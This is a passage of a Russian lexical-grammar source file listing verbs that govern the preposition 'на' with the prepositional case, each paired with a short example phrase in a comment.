rus_verbs:подвернуть{}, // подвернуть на брусчатке
rus_verbs:зашелестеть{}, // зашелестеть на ветру
rus_verbs:расчесывать{}, // расчесывать на спине
rus_verbs:одевать{}, // одевать на рынке
rus_verbs:испечь{}, // испечь на углях
rus_verbs:сбрить{}, // сбрить на затылке
rus_verbs:согреться{}, // согреться на печке
rus_verbs:замаячить{}, // замаячить на горизонте
rus_verbs:пересчитывать{}, // пересчитывать на пальцах
rus_verbs:галдеть{}, // галдеть на крыльце
rus_verbs:переплыть{}, // переплыть на плоту
rus_verbs:передохнуть{}, // передохнуть на скамейке
rus_verbs:прижиться{}, // прижиться на ферме
rus_verbs:переправляться{}, // переправляться на плотах
rus_verbs:накупить{}, // накупить на блошином рынке
rus_verbs:проторчать{}, // проторчать на виду
rus_verbs:мокнуть{}, // мокнуть на улице
rus_verbs:застукать{}, // застукать на камбузе
rus_verbs:завязывать{}, // завязывать на ботинках
rus_verbs:повисать{}, // повисать на ветке
rus_verbs:подвизаться{}, // подвизаться на государственной службе
rus_verbs:кормиться{}, // кормиться на болоте
rus_verbs:покурить{}, // покурить на улице
rus_verbs:зимовать{}, // зимовать на болотах
rus_verbs:застегивать{}, // застегивать на гимнастерке
rus_verbs:поигрывать{}, // поигрывать на гитаре
rus_verbs:погореть{}, // погореть на махинациях с землей
rus_verbs:кувыркаться{}, // кувыркаться на батуте
rus_verbs:похрапывать{}, // похрапывать на диване
rus_verbs:пригревать{}, // пригревать на груди
rus_verbs:завязнуть{}, // завязнуть на болоте
rus_verbs:шастать{}, // шастать на втором этаже
rus_verbs:заночевать{}, // заночевать на сеновале
rus_verbs:отсиживаться{}, // отсиживаться на чердаке
rus_verbs:мчать{}, // мчать на байке
rus_verbs:сгнить{}, // сгнить на урановых рудниках
rus_verbs:тренировать{}, // тренировать на манекенах
rus_verbs:повеселиться{}, // повеселиться на празднике
rus_verbs:измучиться{}, // измучиться на болоте
rus_verbs:увянуть{}, // увянуть на подоконнике
rus_verbs:раскрутить{}, // раскрутить на оси
rus_verbs:выцвести{}, // выцвести на солнечном свету
rus_verbs:изготовлять{}, // изготовлять на коленке
rus_verbs:гнездиться{}, // гнездиться на вершине дерева
rus_verbs:разогнаться{}, // разогнаться на мотоцикле
rus_verbs:излагаться{}, // излагаться на страницах доклада
rus_verbs:сконцентрировать{}, // сконцентрировать на левом фланге
rus_verbs:расчесать{}, // расчесать на макушке
rus_verbs:плавиться{}, // плавиться на солнце
rus_verbs:редактировать{}, // редактировать на ноутбуке
rus_verbs:подскакивать{}, // подскакивать на месте
rus_verbs:покупаться{}, // покупаться на рынке
rus_verbs:промышлять{}, // промышлять на мелководье
rus_verbs:приобретаться{}, // приобретаться на распродажах
rus_verbs:наигрывать{}, // наигрывать на банджо
rus_verbs:маневрировать{}, // маневрировать на флангах
rus_verbs:запечатлеться{}, // запечатлеться на записях камер
rus_verbs:укрывать{}, // укрывать на чердаке
rus_verbs:подорваться{}, // подорваться на фугасе
rus_verbs:закрепиться{}, // закрепиться на занятых позициях
rus_verbs:громыхать{}, // громыхать на кухне
инфинитив:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:соверш }, // подвигаться на полу
деепричастие:подвигавшись{},
rus_verbs:добываться{}, // добываться на территории Анголы
rus_verbs:приплясывать{}, // приплясывать на сцене
rus_verbs:доживать{}, // доживать на больничной койке
rus_verbs:отпраздновать{}, // отпраздновать на работе
rus_verbs:сгубить{}, // сгубить на корню
rus_verbs:схоронить{}, // схоронить на кладбище
rus_verbs:тускнеть{}, // тускнеть на солнце
rus_verbs:скопить{}, // скопить на счету
rus_verbs:помыть{}, // помыть на своем этаже
rus_verbs:пороть{}, // пороть на конюшне
rus_verbs:наличествовать{}, // наличествовать на складе
rus_verbs:нащупывать{}, // нащупывать на полке
rus_verbs:змеиться{}, // змеиться на дне
rus_verbs:пожелтеть{}, // пожелтеть на солнце
rus_verbs:заостриться{}, // заостриться на конце
rus_verbs:свезти{}, // свезти на поле
rus_verbs:прочувствовать{}, // прочувствовать на своей шкуре
rus_verbs:подкрутить{}, // подкрутить на приборной панели
rus_verbs:рубиться{}, // рубиться на мечах
rus_verbs:сиживать{}, // сиживать на крыльце
rus_verbs:тараторить{}, // тараторить на иностранном языке
rus_verbs:теплеть{}, // теплеть на сердце
rus_verbs:покачаться{}, // покачаться на ветке
rus_verbs:сосредоточиваться{}, // сосредоточиваться на главной задаче
rus_verbs:развязывать{}, // развязывать на ботинках
rus_verbs:подвозить{}, // подвозить на мотороллере
rus_verbs:вышивать{}, // вышивать на рубашке
rus_verbs:скупать{}, // скупать на открытом рынке
rus_verbs:оформлять{}, // оформлять на встрече
rus_verbs:распускаться{}, // распускаться на клумбах
rus_verbs:прогореть{}, // прогореть на спекуляциях
rus_verbs:приползти{}, // приползти на коленях
rus_verbs:загореть{}, // загореть на пляже
rus_verbs:остудить{}, // остудить на балконе
rus_verbs:нарвать{}, // нарвать на поляне
rus_verbs:издохнуть{}, // издохнуть на болоте
rus_verbs:разгружать{}, // разгружать на дороге
rus_verbs:произрастать{}, // произрастать на болотах
rus_verbs:разуться{}, // разуться на коврике
rus_verbs:сооружать{}, // сооружать на площади
rus_verbs:зачитывать{}, // зачитывать на митинге
rus_verbs:уместиться{}, // уместиться на ладони
rus_verbs:закупить{}, // закупить на рынке
rus_verbs:горланить{}, // горланить на улице
rus_verbs:экономить{}, // экономить на спичках
rus_verbs:исправлять{}, // исправлять на доске
rus_verbs:расслабляться{}, // расслабляться на лежаке
rus_verbs:скапливаться{}, // скапливаться на крыше
rus_verbs:сплетничать{}, // сплетничать на скамеечке
rus_verbs:отъезжать{}, // отъезжать на лимузине
rus_verbs:отчитывать{}, // отчитывать на собрании
rus_verbs:сфокусировать{}, // сфокусировать на удаленной точке
rus_verbs:потчевать{}, // потчевать на лаврах
rus_verbs:окопаться{}, // окопаться на окраине
rus_verbs:загорать{}, // загорать на пляже
rus_verbs:обгореть{}, // обгореть на солнце
rus_verbs:распознавать{}, // распознавать на фотографии
rus_verbs:заплетаться{}, // заплетаться на макушке
rus_verbs:перегреться{}, // перегреться на жаре
rus_verbs:подметать{}, // подметать на крыльце
rus_verbs:нарисоваться{}, // нарисоваться на горизонте
rus_verbs:проскакивать{}, // проскакивать на экране
rus_verbs:попивать{}, // попивать на балконе чай
rus_verbs:отплывать{}, // отплывать на лодке
rus_verbs:чирикать{}, // чирикать на ветках
rus_verbs:скупить{}, // скупить на оптовых базах
rus_verbs:наколоть{}, // наколоть на коже картинку
rus_verbs:созревать{}, // созревать на ветке
rus_verbs:проколоться{}, // проколоться на мелочи
rus_verbs:крутнуться{}, // крутнуться на заднем колесе
rus_verbs:переночевать{}, // переночевать на постоялом дворе
rus_verbs:концентрироваться{}, // концентрироваться на фильтре
rus_verbs:одичать{}, // одичать на хуторе
rus_verbs:спасаться{}, // спасаются на лодке
rus_verbs:доказываться{}, // доказываться на страницах книги
rus_verbs:познаваться{}, // познаваться на ринге
rus_verbs:замыкаться{}, // замыкаться на металлическом предмете
rus_verbs:заприметить{}, // заприметить на пригорке
rus_verbs:продержать{}, // продержать на морозе
rus_verbs:форсировать{}, // форсировать на плотах
rus_verbs:сохнуть{}, // сохнуть на солнце
rus_verbs:выявить{}, // выявить на поверхности
rus_verbs:заседать{}, // заседать на кафедре
rus_verbs:расплачиваться{}, // расплачиваться на выходе
rus_verbs:светлеть{}, // светлеть на горизонте
rus_verbs:залепетать{}, // залепетать на незнакомом языке
rus_verbs:подсчитывать{}, // подсчитывать на пальцах
rus_verbs:зарыть{}, // зарыть на пустыре
rus_verbs:сформироваться{}, // сформироваться на месте
rus_verbs:развертываться{}, // развертываться на площадке
rus_verbs:набивать{}, // набивать на манекенах
rus_verbs:замерзать{}, // замерзать на ветру
rus_verbs:схватывать{}, // схватывать на лету
rus_verbs:перевестись{}, // перевестись на Руси
rus_verbs:смешивать{}, // смешивать на блюдце
rus_verbs:прождать{}, // прождать на входе
rus_verbs:мерзнуть{}, // мерзнуть на ветру
rus_verbs:растирать{}, // растирать на коже
rus_verbs:переспать{}, // переспал на сеновале
rus_verbs:рассекать{}, // рассекать на скутере
rus_verbs:опровергнуть{}, // опровергнуть на высшем уровне
rus_verbs:дрыхнуть{}, // дрыхнуть на диване
rus_verbs:распять{}, // распять на кресте
rus_verbs:запечься{}, // запечься на костре
rus_verbs:застилать{}, // застилать на балконе
rus_verbs:сыскаться{}, // сыскаться на огороде
rus_verbs:разориться{}, // разориться на продаже спичек
rus_verbs:переделать{}, // переделать на станке
rus_verbs:разъяснять{}, // разъяснять на страницах газеты
rus_verbs:поседеть{}, // поседеть на висках
rus_verbs:протащить{}, // протащить на спине
rus_verbs:осуществиться{}, // осуществиться на деле
rus_verbs:селиться{}, // селиться на окраине
rus_verbs:оплачивать{}, // оплачивать на первой кассе
rus_verbs:переворачивать{}, // переворачивать на сковородке
rus_verbs:упражняться{}, // упражняться на батуте
rus_verbs:испробовать{}, // испробовать на себе
rus_verbs:разгладиться{}, // разгладиться на спине
rus_verbs:рисоваться{}, // рисоваться на стекле
rus_verbs:продрогнуть{}, // продрогнуть на морозе
rus_verbs:пометить{}, // пометить на доске
rus_verbs:приютить{}, // приютить на чердаке
rus_verbs:избирать{}, // избирать на первых свободных выборах
rus_verbs:затеваться{}, // затеваться на матче
rus_verbs:уплывать{}, // уплывать на катере
rus_verbs:замерцать{}, // замерцать на рекламном щите
rus_verbs:фиксироваться{}, // фиксироваться на достигнутом уровне
rus_verbs:запираться{}, // запираться на чердаке
rus_verbs:загубить{}, // загубить на корню
rus_verbs:развеяться{}, // развеяться на природе
rus_verbs:съезжаться{}, // съезжаться на лимузинах
rus_verbs:потанцевать{}, // потанцевать на могиле
rus_verbs:дохнуть{}, // дохнуть на солнце
rus_verbs:припарковаться{}, // припарковаться на газоне
rus_verbs:отхватить{}, // отхватить на распродаже
rus_verbs:остывать{}, // остывать на улице
rus_verbs:переваривать{}, // переваривать на высокой ветке
rus_verbs:подвесить{}, // подвесить на веревке
rus_verbs:хвастать{}, // хвастать на работе
rus_verbs:отрабатывать{}, // отрабатывать на уборке урожая
rus_verbs:разлечься{}, // разлечься на полу
rus_verbs:очертить{}, // очертить на полу
rus_verbs:председательствовать{}, // председательствовать на собрании
rus_verbs:сконфузиться{}, // сконфузиться на сцене
rus_verbs:выявляться{}, // выявляться на ринге
rus_verbs:крутануться{}, // крутануться на заднем колесе
rus_verbs:караулить{}, // караулить на входе
rus_verbs:перечислять{}, // перечислять на пальцах
rus_verbs:обрабатывать{}, // обрабатывать на станке
rus_verbs:настигать{}, // настигать на берегу
rus_verbs:разгуливать{}, // разгуливать на берегу
rus_verbs:насиловать{}, // насиловать на пляже
rus_verbs:поредеть{}, // поредеть на макушке
rus_verbs:учитывать{}, // учитывать на балансе
rus_verbs:зарождаться{}, // зарождаться на большой глубине
rus_verbs:распространять{}, // распространять на сайтах
rus_verbs:пировать{}, // пировать на вершине холма
rus_verbs:начертать{}, // начертать на стене
rus_verbs:расцветать{}, // расцветать на подоконнике
rus_verbs:умнеть{}, // умнеть на глазах
rus_verbs:царствовать{}, // царствовать на окраине
rus_verbs:закрутиться{}, // закрутиться на работе
rus_verbs:отработать{}, // отработать на шахте
rus_verbs:полечь{}, // полечь на поле брани
rus_verbs:щебетать{}, // щебетать на ветке
rus_verbs:подчеркиваться{}, // подчеркиваться на сайте
rus_verbs:посеять{}, // посеять на другом поле
rus_verbs:замечаться{}, // замечаться на пастбище
rus_verbs:просчитать{}, // просчитать на пальцах
rus_verbs:голосовать{}, // голосовать на трассе
rus_verbs:маяться{}, // маяться на пляже
rus_verbs:сколотить{}, // сколотить на службе
rus_verbs:обретаться{}, // обретаться на чужбине
rus_verbs:обливаться{}, // обливаться на улице
rus_verbs:катать{}, // катать на лошадке
rus_verbs:припрятать{}, // припрятать на теле
rus_verbs:запаниковать{}, // запаниковать на экзамене
инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать на частном самолете
деепричастие:слетав{},
rus_verbs:срубить{}, // срубить денег на спекуляциях
rus_verbs:зажигаться{}, // зажигаться на улице
rus_verbs:жарить{}, // жарить на углях
rus_verbs:накапливаться{}, // накапливаться на счету
rus_verbs:распуститься{}, // распуститься на грядке
rus_verbs:рассаживаться{}, // рассаживаться на местах
rus_verbs:странствовать{}, // странствовать на лошади
rus_verbs:осматриваться{}, // осматриваться на месте
rus_verbs:разворачивать{}, // разворачивать на завоеванной территории
rus_verbs:согревать{}, // согревать на вершине горы
rus_verbs:заскучать{}, // заскучать на вахте
rus_verbs:перекусить{}, // перекусить на бегу
rus_verbs:приплыть{}, // приплыть на тримаране
rus_verbs:зажигать{}, // зажигать на танцах
rus_verbs:закопать{}, // закопать на поляне
rus_verbs:стирать{}, // стирать на берегу
rus_verbs:подстерегать{}, // подстерегать на подходе
rus_verbs:погулять{}, // погулять на свадьбе
rus_verbs:огласить{}, // огласить на митинге
rus_verbs:разбогатеть{}, // разбогатеть на прииске
rus_verbs:грохотать{}, // грохотать на чердаке
rus_verbs:расположить{}, // расположить на границе
rus_verbs:реализоваться{}, // реализоваться на новой работе
rus_verbs:застывать{}, // застывать на морозе
rus_verbs:запечатлеть{}, // запечатлеть на пленке
rus_verbs:тренироваться{}, // тренироваться на манекене
rus_verbs:поспорить{}, // поспорить на совещании
rus_verbs:затягивать{}, // затягивать на поясе
rus_verbs:зиждиться{}, // зиждиться на твердой основе
rus_verbs:построиться{}, // построиться на песке
rus_verbs:надрываться{}, // надрываться на работе
rus_verbs:закипать{}, // закипать на плите
rus_verbs:затонуть{}, // затонуть на мелководье
rus_verbs:побыть{}, // побыть на фазенде
rus_verbs:сгорать{}, // сгорать на солнце
инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на улице
деепричастие:пописав{ aux stress="поп^исав" },
rus_verbs:подраться{}, // подраться на сцене
rus_verbs:заправить{}, // заправить на последней заправке
rus_verbs:обозначаться{}, // обозначаться на карте
rus_verbs:просиживать{}, // просиживать на берегу
rus_verbs:начертить{}, // начертить на листке
rus_verbs:тормозить{}, // тормозить на льду
rus_verbs:затевать{}, // затевать на космической базе
rus_verbs:задерживать{}, // задерживать на таможне
rus_verbs:прилетать{}, // прилетать на частном самолете
rus_verbs:полулежать{}, // полулежать на травке
rus_verbs:ерзать{}, // ерзать на табуретке
rus_verbs:покопаться{}, // покопаться на складе
rus_verbs:подвезти{}, // подвезти на машине
rus_verbs:полежать{}, // полежать на водном матрасе
rus_verbs:стыть{}, // стыть на улице
rus_verbs:стынуть{}, // стынуть на улице
rus_verbs:скреститься{}, // скреститься на груди
rus_verbs:припарковать{}, // припарковать на стоянке
rus_verbs:здороваться{}, // здороваться на кафедре
rus_verbs:нацарапать{}, // нацарапать на парте
rus_verbs:откопать{}, // откопать на поляне
rus_verbs:смастерить{}, // смастерить на коленках
rus_verbs:довезти{}, // довезти на машине
rus_verbs:избивать{}, // избивать на крыше
rus_verbs:сварить{}, // сварить на костре
rus_verbs:истребить{}, // истребить на корню
rus_verbs:раскопать{}, // раскопать на болоте
rus_verbs:попить{}, // попить на кухне
rus_verbs:заправлять{}, // заправлять на базе
rus_verbs:кушать{}, // кушать на кухне
rus_verbs:замолкать{}, // замолкать на половине фразы
rus_verbs:измеряться{}, // измеряться на весах
rus_verbs:сбываться{}, // сбываться на самом деле
rus_verbs:изображаться{}, // изображается на сцене
rus_verbs:фиксировать{}, // фиксировать на данной высоте
rus_verbs:ослаблять{}, // ослаблять на шее
rus_verbs:зреть{}, // зреть на грядке
rus_verbs:зеленеть{}, // зеленеть на грядке
rus_verbs:критиковать{}, // критиковать на страницах газеты
rus_verbs:облететь{}, // облететь на самолете
rus_verbs:заразиться{}, // заразиться на работе
rus_verbs:рассеять{}, // рассеять на территории
rus_verbs:печься{}, // печься на костре
rus_verbs:поспать{}, // поспать на земле
rus_verbs:сплетаться{}, // сплетаться на макушке
rus_verbs:удерживаться{}, // удерживаться на расстоянии
rus_verbs:помешаться{}, // помешаться на чистоте
rus_verbs:ликвидировать{}, // ликвидировать на полигоне
rus_verbs:проваляться{}, // проваляться на диване
rus_verbs:лечиться{}, // лечиться на дому
rus_verbs:обработать{}, // обработать на станке
rus_verbs:защелкнуть{}, // защелкнуть на руках
rus_verbs:разносить{}, // разносить на одежде
rus_verbs:чесать{}, // чесать на груди
rus_verbs:наладить{}, // наладить на конвейере выпуск
rus_verbs:отряхнуться{}, // отряхнуться на улице
rus_verbs:разыгрываться{}, // разыгрываться на скачках
rus_verbs:обеспечиваться{}, // обеспечиваться на выгодных условиях
rus_verbs:греться{}, // греться на вокзале
rus_verbs:засидеться{}, // засидеться на одном месте
rus_verbs:материализоваться{}, // материализоваться на границе
rus_verbs:рассеиваться{}, // рассеиваться на высоте вершин
rus_verbs:перевозить{}, // перевозить на платформе
rus_verbs:поиграть{}, // поиграть на скрипке
rus_verbs:потоптаться{}, // потоптаться на одном месте
rus_verbs:переправиться{}, // переправиться на плоту
rus_verbs:забрезжить{}, // забрезжить на горизонте
rus_verbs:завывать{}, // завывать на опушке
rus_verbs:заваривать{}, // заваривать на кухоньке
rus_verbs:перемещаться{}, // перемещаться на спасательном плоту
инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться на бланке
rus_verbs:праздновать{}, // праздновать на улицах
rus_verbs:обучить{}, // обучить на корте
rus_verbs:орудовать{}, // орудовать на складе
rus_verbs:подрасти{}, // подрасти на глядке
rus_verbs:шелестеть{}, // шелестеть на ветру
rus_verbs:раздеваться{}, // раздеваться на публике
rus_verbs:пообедать{}, // пообедать на газоне
rus_verbs:жрать{}, // жрать на помойке
rus_verbs:исполняться{}, // исполняться на флейте
rus_verbs:похолодать{}, // похолодать на улице
rus_verbs:гнить{}, // гнить на каторге
rus_verbs:прослушать{}, // прослушать на концерте
rus_verbs:совещаться{}, // совещаться на заседании
rus_verbs:покачивать{}, // покачивать на волнах
rus_verbs:отсидеть{}, // отсидеть на гаупвахте
rus_verbs:формировать{}, // формировать на секретной базе
rus_verbs:захрапеть{}, // захрапеть на кровати
rus_verbs:объехать{}, // объехать на попутке
rus_verbs:поселить{}, // поселить на верхних этажах
rus_verbs:заворочаться{}, // заворочаться на сене
rus_verbs:напрятать{}, // напрятать на теле
rus_verbs:очухаться{}, // очухаться на земле
rus_verbs:полистать{}, // полистать на досуге
rus_verbs:завертеть{}, // завертеть на шесте
rus_verbs:печатать{}, // печатать на ноуте
rus_verbs:отыскаться{}, // отыскаться на складе
rus_verbs:зафиксировать{}, // зафиксировать на пленке
rus_verbs:расстилаться{}, // расстилаться на столе
rus_verbs:заместить{}, // заместить на посту
rus_verbs:угасать{}, // угасать на неуправляемом корабле
rus_verbs:сразить{}, // сразить на ринге
rus_verbs:расплываться{}, // расплываться на жаре
rus_verbs:сосчитать{}, // сосчитать на пальцах
rus_verbs:сгуститься{}, // сгуститься на небольшой высоте
rus_verbs:цитировать{}, // цитировать на плите
rus_verbs:ориентироваться{}, // ориентироваться на местности
rus_verbs:расширить{}, // расширить на другом конце
rus_verbs:обтереть{}, // обтереть на стоянке
rus_verbs:подстрелить{}, // подстрелить на охоте
rus_verbs:растереть{}, // растереть на твердой поверхности
rus_verbs:подавлять{}, // подавлять на первом этапе
rus_verbs:смешиваться{}, // смешиваться на поверхности
// инфинитив:вычитать{ aux stress="в^ычитать" }, глагол:вычитать{ aux stress="в^ычитать" }, // вычитать на сайте
// деепричастие:вычитав{},
rus_verbs:сократиться{}, // сократиться на втором этапе
rus_verbs:занервничать{}, // занервничать на экзамене
rus_verbs:соприкоснуться{}, // соприкоснуться на трассе
rus_verbs:обозначить{}, // обозначить на плане
rus_verbs:обучаться{}, // обучаться на производстве
rus_verbs:снизиться{}, // снизиться на большой высоте
rus_verbs:простудиться{}, // простудиться на ветру
rus_verbs:поддерживаться{}, // поддерживается на встрече
rus_verbs:уплыть{}, // уплыть на лодочке
rus_verbs:резвиться{}, // резвиться на песочке
rus_verbs:поерзать{}, // поерзать на скамеечке
rus_verbs:похвастаться{}, // похвастаться на встрече
rus_verbs:знакомиться{}, // знакомиться на уроке
rus_verbs:проплывать{}, // проплывать на катере
rus_verbs:засесть{}, // засесть на чердаке
rus_verbs:подцепить{}, // подцепить на дискотеке
rus_verbs:обыскать{}, // обыскать на входе
rus_verbs:оправдаться{}, // оправдаться на суде
rus_verbs:раскрываться{}, // раскрываться на сцене
rus_verbs:одеваться{}, // одеваться на вещевом рынке
rus_verbs:засветиться{}, // засветиться на фотографиях
rus_verbs:употребляться{}, // употребляться на птицефабриках
rus_verbs:грабить{}, // грабить на пустыре
rus_verbs:гонять{}, // гонять на повышенных оборотах
rus_verbs:развеваться{}, // развеваться на древке
rus_verbs:основываться{}, // основываться на безусловных фактах
rus_verbs:допрашивать{}, // допрашивать на базе
rus_verbs:проработать{}, // проработать на стройке
rus_verbs:сосредоточить{}, // сосредоточить на месте
rus_verbs:сочинять{}, // сочинять на ходу
rus_verbs:ползать{}, // ползать на камне
rus_verbs:раскинуться{}, // раскинуться на пустыре
rus_verbs:уставать{}, // уставать на работе
rus_verbs:укрепить{}, // укрепить на конце
rus_verbs:образовывать{}, // образовывать на открытом воздухе взрывоопасную смесь
rus_verbs:одобрять{}, // одобрять на словах
rus_verbs:приговорить{}, // приговорить на заседании тройки
rus_verbs:чернеть{}, // чернеть на свету
rus_verbs:гнуть{}, // гнуть на станке
rus_verbs:размещаться{}, // размещаться на бирже
rus_verbs:соорудить{}, // соорудить на даче
rus_verbs:пастись{}, // пастись на лугу
rus_verbs:формироваться{}, // формироваться на дне
rus_verbs:таить{}, // таить на дне
rus_verbs:приостановиться{}, // приостановиться на середине
rus_verbs:топтаться{}, // топтаться на месте
rus_verbs:громить{}, // громить на подступах
rus_verbs:вычислить{}, // вычислить на бумажке
rus_verbs:заказывать{}, // заказывать на сайте
rus_verbs:осуществить{}, // осуществить на практике
rus_verbs:обосноваться{}, // обосноваться на верхушке
rus_verbs:пытать{}, // пытать на электрическом стуле
rus_verbs:совершиться{}, // совершиться на заседании
rus_verbs:свернуться{}, // свернуться на медленном огне
rus_verbs:пролетать{}, // пролетать на дельтаплане
rus_verbs:сбыться{}, // сбыться на самом деле
rus_verbs:разговориться{}, // разговориться на уроке
rus_verbs:разворачиваться{}, // разворачиваться на перекрестке
rus_verbs:преподнести{}, // преподнести на блюдечке
rus_verbs:напечатать{}, // напечатать на лазернике
rus_verbs:прорвать{}, // прорвать на периферии
rus_verbs:раскачиваться{}, // раскачиваться на доске
rus_verbs:задерживаться{}, // задерживаться на старте
rus_verbs:угощать{}, // угощать на вечеринке
rus_verbs:шарить{}, // шарить на столе
rus_verbs:увеличивать{}, // увеличивать на первом этапе
rus_verbs:рехнуться{}, // рехнуться на старости лет
rus_verbs:расцвести{}, // расцвести на грядке
rus_verbs:закипеть{}, // закипеть на плите
rus_verbs:подлететь{}, // подлететь на параплане
rus_verbs:рыться{}, // рыться на свалке
rus_verbs:добираться{}, // добираться на попутках
rus_verbs:продержаться{}, // продержаться на вершине
rus_verbs:разыскивать{}, // разыскивать на выставках
rus_verbs:освобождать{}, // освобождать на заседании
rus_verbs:передвигаться{}, // передвигаться на самокате
rus_verbs:проявиться{}, // проявиться на свету
rus_verbs:заскользить{}, // заскользить на льду
rus_verbs:пересказать{}, // пересказать на сцене студенческого театра
rus_verbs:протестовать{}, // протестовать на улице
rus_verbs:указываться{}, // указываться на табличках
rus_verbs:прискакать{}, // прискакать на лошадке
rus_verbs:копошиться{}, // копошиться на свежем воздухе
rus_verbs:подсчитать{}, // подсчитать на бумажке
rus_verbs:разволноваться{}, // разволноваться на экзамене
rus_verbs:завертеться{}, // завертеться на полу
rus_verbs:ознакомиться{}, // ознакомиться на ходу
rus_verbs:ржать{}, // ржать на уроке
rus_verbs:раскинуть{}, // раскинуть на грядках
rus_verbs:разгромить{}, // разгромить на ринге
rus_verbs:подслушать{}, // подслушать на совещании
rus_verbs:описываться{}, // описываться на страницах книги
rus_verbs:качаться{}, // качаться на стуле
rus_verbs:усилить{}, // усилить на флангах
rus_verbs:набросать{}, // набросать на клочке картона
rus_verbs:расстреливать{}, // расстреливать на подходе
rus_verbs:запрыгать{}, // запрыгать на одной ноге
rus_verbs:сыскать{}, // сыскать на чужбине
rus_verbs:подтвердиться{}, // подтвердиться на практике
rus_verbs:плескаться{}, // плескаться на мелководье
rus_verbs:расширяться{}, // расширяться на конце
rus_verbs:подержать{}, // подержать на солнце
rus_verbs:планироваться{}, // планироваться на общем собрании
rus_verbs:сгинуть{}, // сгинуть на чужбине
rus_verbs:замкнуться{}, // замкнуться на точке
rus_verbs:закачаться{}, // закачаться на ветру
rus_verbs:перечитывать{}, // перечитывать на ходу
rus_verbs:перелететь{}, // перелететь на дельтаплане
rus_verbs:оживать{}, // оживать на солнце
rus_verbs:женить{}, // женить на богатой невесте
rus_verbs:заглохнуть{}, // заглохнуть на старте
rus_verbs:копаться{}, // копаться на полу
rus_verbs:развлекаться{}, // развлекаться на дискотеке
rus_verbs:печататься{}, // печататься на струйном принтере
rus_verbs:обрываться{}, // обрываться на полуслове
rus_verbs:ускакать{}, // ускакать на лошадке
rus_verbs:подписывать{}, // подписывать на столе
rus_verbs:добывать{}, // добывать на выработке
rus_verbs:скопиться{}, // скопиться на выходе
rus_verbs:повстречать{}, // повстречать на пути
rus_verbs:поцеловаться{}, // поцеловаться на площади
rus_verbs:растянуть{}, // растянуть на столе
rus_verbs:подаваться{}, // подаваться на благотворительном обеде
rus_verbs:повстречаться{}, // повстречаться на митинге
rus_verbs:примоститься{}, // примоститься на ступеньках
rus_verbs:отразить{}, // отразить на страницах доклада
rus_verbs:пояснять{}, // пояснять на страницах приложения
rus_verbs:накормить{}, // накормить на кухне
rus_verbs:поужинать{}, // поужинать на веранде
инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть на митинге
деепричастие:спев{},
инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш },
rus_verbs:топить{}, // топить на мелководье
rus_verbs:освоить{}, // освоить на практике
rus_verbs:распластаться{}, // распластаться на травке
rus_verbs:отплыть{}, // отплыть на старом каяке
rus_verbs:улетать{}, // улетать на любом самолете
rus_verbs:отстаивать{}, // отстаивать на корте
rus_verbs:осуждать{}, // осуждать на словах
rus_verbs:переговорить{}, // переговорить на обеде
rus_verbs:укрыть{}, // укрыть на чердаке
rus_verbs:томиться{}, // томиться на привязи
rus_verbs:сжигать{}, // сжигать на полигоне
rus_verbs:позавтракать{}, // позавтракать на лоне природы
rus_verbs:функционировать{}, // функционирует на солнечной энергии
rus_verbs:разместить{}, // разместить на сайте
rus_verbs:пронести{}, // пронести на теле
rus_verbs:нашарить{}, // нашарить на столе
rus_verbs:корчиться{}, // корчиться на полу
rus_verbs:распознать{}, // распознать на снимке
rus_verbs:повеситься{}, // повеситься на шнуре
rus_verbs:обозначиться{}, // обозначиться на картах
rus_verbs:оступиться{}, // оступиться на скользком льду
rus_verbs:подносить{}, // подносить на блюдечке
rus_verbs:расстелить{}, // расстелить на газоне
rus_verbs:обсуждаться{}, // обсуждаться на собрании
rus_verbs:расписаться{}, // расписаться на бланке
rus_verbs:плестись{}, // плестись на привязи
rus_verbs:объявиться{}, // объявиться на сцене
rus_verbs:повышаться{}, // повышаться на первом датчике
rus_verbs:разрабатывать{}, // разрабатывать на заводе
rus_verbs:прерывать{}, // прерывать на середине
rus_verbs:каяться{}, // каяться на публике
rus_verbs:освоиться{}, // освоиться на лошади
rus_verbs:подплыть{}, // подплыть на плоту
rus_verbs:оскорбить{}, // оскорбить на митинге
rus_verbs:торжествовать{}, // торжествовать на пьедестале
rus_verbs:поправлять{}, // поправлять на одежде
rus_verbs:отражать{}, // отражать на картине
rus_verbs:дремать{}, // дремать на кушетке
rus_verbs:применяться{}, // применяться на производстве стали
rus_verbs:поражать{}, // поражать на большой дистанции
rus_verbs:расстрелять{}, // расстрелять на окраине хутора
rus_verbs:рассчитать{}, // рассчитать на калькуляторе
rus_verbs:записывать{}, // записывать на ленте
rus_verbs:перебирать{}, // перебирать на ладони
rus_verbs:разбиться{}, // разбиться на катере
rus_verbs:поискать{}, // поискать на ферме
rus_verbs:прятать{}, // прятать на заброшенном складе
rus_verbs:пропеть{}, // пропеть на эстраде
rus_verbs:замелькать{}, // замелькать на экране
rus_verbs:грустить{}, // грустить на веранде
rus_verbs:крутить{}, // крутить на оси
rus_verbs:подготовить{}, // подготовить на конспиративной квартире
rus_verbs:различать{}, // различать на картинке
rus_verbs:киснуть{}, // киснуть на чужбине
rus_verbs:оборваться{}, // оборваться на полуслове
rus_verbs:запутаться{}, // запутаться на простейшем тесте
rus_verbs:общаться{}, // общаться на уроке
rus_verbs:производиться{}, // производиться на фабрике
rus_verbs:сочинить{}, // сочинить на досуге
rus_verbs:давить{}, // давить на лице
rus_verbs:разработать{}, // разработать на секретном предприятии
rus_verbs:качать{}, // качать на качелях
rus_verbs:тушить{}, // тушить на крыше пожар
rus_verbs:охранять{}, // охранять на территории базы
rus_verbs:приметить{}, // приметить на взгорке
rus_verbs:скрыть{}, // скрыть на теле
rus_verbs:удерживать{}, // удерживать на руке
rus_verbs:усвоить{}, // усвоить на уроке
rus_verbs:растаять{}, // растаять на солнечной стороне
rus_verbs:красоваться{}, // красоваться на виду
rus_verbs:сохраняться{}, // сохраняться на холоде
rus_verbs:лечить{}, // лечить на дому
rus_verbs:прокатиться{}, // прокатиться на уницикле
rus_verbs:договариваться{}, // договариваться на нейтральной территории
rus_verbs:качнуться{}, // качнуться на одной ноге
rus_verbs:опубликовать{}, // опубликовать на сайте
rus_verbs:отражаться{}, // отражаться на поверхности воды
